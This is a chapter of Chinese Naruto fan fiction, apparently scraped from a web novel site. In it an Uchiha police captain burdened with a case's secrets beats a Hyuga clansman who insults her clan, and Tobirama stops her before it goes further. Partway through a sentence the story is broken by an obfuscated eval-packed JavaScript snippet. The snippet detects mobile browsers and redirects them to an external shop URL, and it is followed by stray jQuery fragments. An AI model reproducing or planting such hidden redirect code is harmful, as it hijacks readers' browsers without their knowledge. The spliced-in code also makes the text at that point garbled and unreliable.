「一族,一族,日日将族群挂在嘴边,到头来,却始终看不清自身器量与格局。落得这般境地,皆是理所当然。」
「我早已对这固步自封、狭隘偏执的宇智波一族,彻底绝望。」
多年前鼬的话语,猝不及防冲破尘封的记忆,清晰无比地回荡在脑海深处。
循环往复,一遍遍碾过她的心神。
已然分不清,这反复回响的字句,究竟是鼬昔日的断言,还是历经世事浮沉、背负满身秘密的自己,心底悄然认同的真相。
她无数次在心底诘问自己。
到底在为了什么而厮杀奋战。
拼尽所有究竟意义何在。
一路走来,护住族群安稳,守住短暂和平,可到头来,她真正改变过什么,又真正留住过什么。
「千歲,帮我瞒住所有事,让直树好好活下去。」
这是治里纵身跃入南贺川前,留给她的最后一句嘱托。
那场结案报告漏洞百出、谎言拙劣,但凡有心人稍加细究,便能察觉遍地蹊跷与破绽。
宇智波斑对她心存怀疑,本就是理所应当。
可她不能说,也早已没有勇气再说。
真相一旦公之于众,失明失忆、得以安稳余生的直树会再度被拖入罪孽深渊,族内一大部分的激进派势力会彻底暴乱,刚刚平息的风波将再度席卷木叶。
伊邪那岐与伊邪那美两大禁术的终极秘密、治里献祭双眼与性命换来的和平,全都压在她一人肩上,让她注定无从辩驳。
“千歲大人,您近来太过沉静寡言。这般沉默的模样,属下实在不习惯。”
吉川清朗的声音骤然在身侧响起,骤然将失神恍惚的千歲拉回现实。
她微微一怔,才惊觉自己又一次莫名走神。
此刻正值木叶街巷的执勤巡逻之时,天光朗朗,街巷喧闹,周遭一切寻常如故,唯有她心底荒芜沉寂。
千歲敛去眼底翻涌的万千沉郁,压下所有疲惫与茫然,恢复了往日平和的模样,低声致歉:
“抱歉,我走神了。”
自从连环命案彻底结案,吉川便隐隐察觉出她的异样。她时常失神恍惚,眼底藏着化不开的心事,周身萦绕着挥之不去的疲惫与压抑。
吉川隐约知晓,这一切皆因宇智波治里的案件而起。
那夜南贺川畔,他与所有警务队员尽数深陷幻术、人事不醒,后续所有真相、所有转折,皆是事后听千歲转述得知。
他深知这场风波对她打击极大,不愿见她终日郁郁,便刻意转开沉重话题,轻声打趣:
“距离您与扉间大人的婚期,仅剩一月有余。您此刻半点都不紧张吗?”
千歲心头微顿,这才恍然记起,一月之后,便是她与千手扉间的婚礼,也是宇智波斑的火影上任大典。
这些时日,她全身心扑在连环命案的收尾处置、族群风波的□□之上,心力交瘁,早已无暇顾及自身婚事。所有流程和布置,尽数交由千手那边打理,她从未过问半分。
心念微动,她正欲开口询问吉川,这个时代木叶婚礼是怎么样的。
不远处,两道细碎却清晰的议论声,毫无遮挡地传入二人耳中。
“……以前还觉得宇智波治里公正靠谱,没想到最后竟是畏罪自尽的罪人。”
“可惜了那双顶级万花筒,若是死前肯主动上交木叶,也算是最后赎罪,死了都不让人省心。听说找到治里尸体的时候,她双眼都被人生生挖走了……”
“……她不是畏罪投河自尽吗?谁会特意取走她的眼睛?”
“谁知道呢。”
“说到底宇智波那群人……都是疯子,连同族都能狠心残害。我还听说,木叶建立之前,现任警务队长一人屠光了所有日向分家的精英……”
“喂……这件事上头早就明令禁止私下议论,你别乱说了!”
“怕什么?我说的本来就是事实!”
几人肆意闲谈,全然没有察觉,身着警务制服的千歲与吉川,已然静静伫立在他们身后。
待到话音落下,两名闲谈的忍者骤然察觉身后刺骨的寒意,浑身一僵,猛地回头。
对上千歲那双沉寂冰冷、毫无温度的眼眸,几人下意识心头一怯。
可瞥见两人身上的警务队制服,仗着光天化日、众目睽睽,终究是壮起胆子,嘴硬挑衅:
“怎么?警务队还要仗势欺人?别以为宇智波斑当了火影,你们宇智波一族就能在木叶肆意横行、目中无人!”
这般颠倒黑白、肆意诋毁的言语,瞬间点燃了吉川心底的怒火。
他早已忍无可忍,跨步上前,一把攥住那名男子的衣领,三勾玉写轮眼骤然开启,凌厉的压迫感瞬间笼罩对方。
身高身形极具压制力的气场之下,方才气焰嚣张的男子瞬间噤声,眼底涌上真切的畏惧。
“再让我听见你半句诋毁、污蔑千歲大人,休怪我手下无情。”
可这名男子身为日向日翔的分家亲侄子,即便心生畏惧,也不肯折损分毫颜面。
他抬手猛地拍开吉川的桎梏,强撑着底气,咬牙讥讽,字字带着恶毒的诅咒:
“不过是一族余孽罢了,这般猖狂跋扈,小心落得全族覆灭的凄惨下场!”
这句恶毒至极的族群诅咒,彻底击穿了吉川的底线。他眼底戾气暴涨,攥紧拳头,蓄力便要狠狠砸落。
“吉川。”
清冷的一声低喝,骤然止住了他所有动作。
吉川瞬间停在原地。
千歲缓步上前,面色平静无波,眸光淡淡扫过他,微微颔首示意他松手退让。
随后,她看向身前色厉内荏的日向族人,放低姿态,语态谦和,带着克制:
“属下冲撞,在此致歉,还望不要和他计较。”
见警务队长这般退让服软,男子愈发肆无忌惮、得寸进尺,满脸倨傲地拍了拍衣袍上不存在的灰尘,嗤声呵斥:
“小鬼识趣就该乖乖退让,别自讨苦吃……”
话音尚未彻底落地。
下一瞬,不等对方话音收尾,千歲骤然抬拳,力道尽数迸发,精准砸在对方面门,骨裂的闷响骤然响起。
男子惨叫一声,整个人被生生击飞,重重砸落在地,浑身剧痛,彻底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750095|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动弹不得。
千歲微微松开紧绷的指节,指骨泛白,垂眸俯视着地上蜷缩抽搐的男人:
“今日纠葛,你若想要计较,算在我一人身上即可。”
话音落,她俯身攥住对方衣领,骤然屈膝,狠狠顶向男人腹腔。猛烈的撞击让对方瞬间窒息,浑身痉挛,连惨叫都无法发出。
连日积压的压抑、隐忍、委屈,无人知晓的沉痛,在此刻尽数爆发。
拳风起落,力道沉稳凛冽,招招利落,毫不留情。
擅长柔拳秘术、素来以体术见长的日向族人,在她不含忍术、纯粹极致的肉身力量碾压之下,毫无半分还手之力,只能被动承受,转瞬便被打得鼻青脸肿、狼狈不堪。
男子数次强忍剧痛想要起身,开启白眼、结印施展八卦六十四掌反击,可每次刚撑起身形,便被千歲迅捷凌厉的肘击打趴在地,彻底锁死所有动作。
“千歲大人……不能再打了。”
吉川心头大急,快步上前劝阻,满心焦灼:
“再继续下去,他会死的。”
千歲眼底赤色微涌,怒火焚心,早已听不进任何劝阻,手上力道丝毫未减。
就在拳势再度落下的刹那,一道凌厉冷冽的女声骤然从后方传来,厉声喝止:
“住手!”
千歲动作一顿,蓦然回眸。
日向纱良快步赶来,看清眼前惨烈对峙的一幕,当即转头对着身后两名随行的日向精英护卫急声呵斥:
“你们还愣着干什么!立刻上前阻止她!”
可两名护卫望着千歲眼底隐隐轮转的万花筒瞳光,心底寒意彻骨,双腿僵硬,半步不敢上前,面色煞白地迟疑出声:
“纱良小姐,这……”
至此,日向纱良再也不愿维系表面平和的虚假和睦。
她从未修习过忍术,此刻却极致愤怒,强行催动查克拉,双眼瞬间开启的白眼,死死盯着身前的金发少女,满是怨怼:
“当年你亲手杀害我父亲,如今又当众残害我日向族人!你究竟还想怎样!”
听闻此言,千歲攥着对方衣领的手指骤然一松,力道尽数褪去。
地上的日向族人得以喘息,连滚带爬狼狈退至纱良与两名护卫身后,惊魂未定。
吉川即刻跨步挡在千歲身侧,周身查克拉紧绷,严阵以待,低声笃定开口:
“千歲大人,一旦开战,属下永远站在您这边。”
对面来势汹汹,矛盾彻底激化,一场两族冲突已然无可避免。连日的高压隐忍,无处宣泄的沉痛与愤怒,彻底吞噬了千歲所有理智。
掌心雷遁查克拉疯狂涌动,细密的电光滋滋炸响,萦绕指尖,凛冽的杀意与查克拉威压轰然扩散,只差一瞬,便要彻底引爆冲突。
“千歲。”
一道低沉磁性、自带凛冽的男声,骤然从身后缓缓响起。
极致紧绷的氛围瞬间凝滞。
千歲回头。
千手扉间不知何时伫立在她身后,骨节分明的手掌稳稳覆住她躁动紧绷的手腕,精准按住了那道即将爆发的雷遁忍术。
“住手。”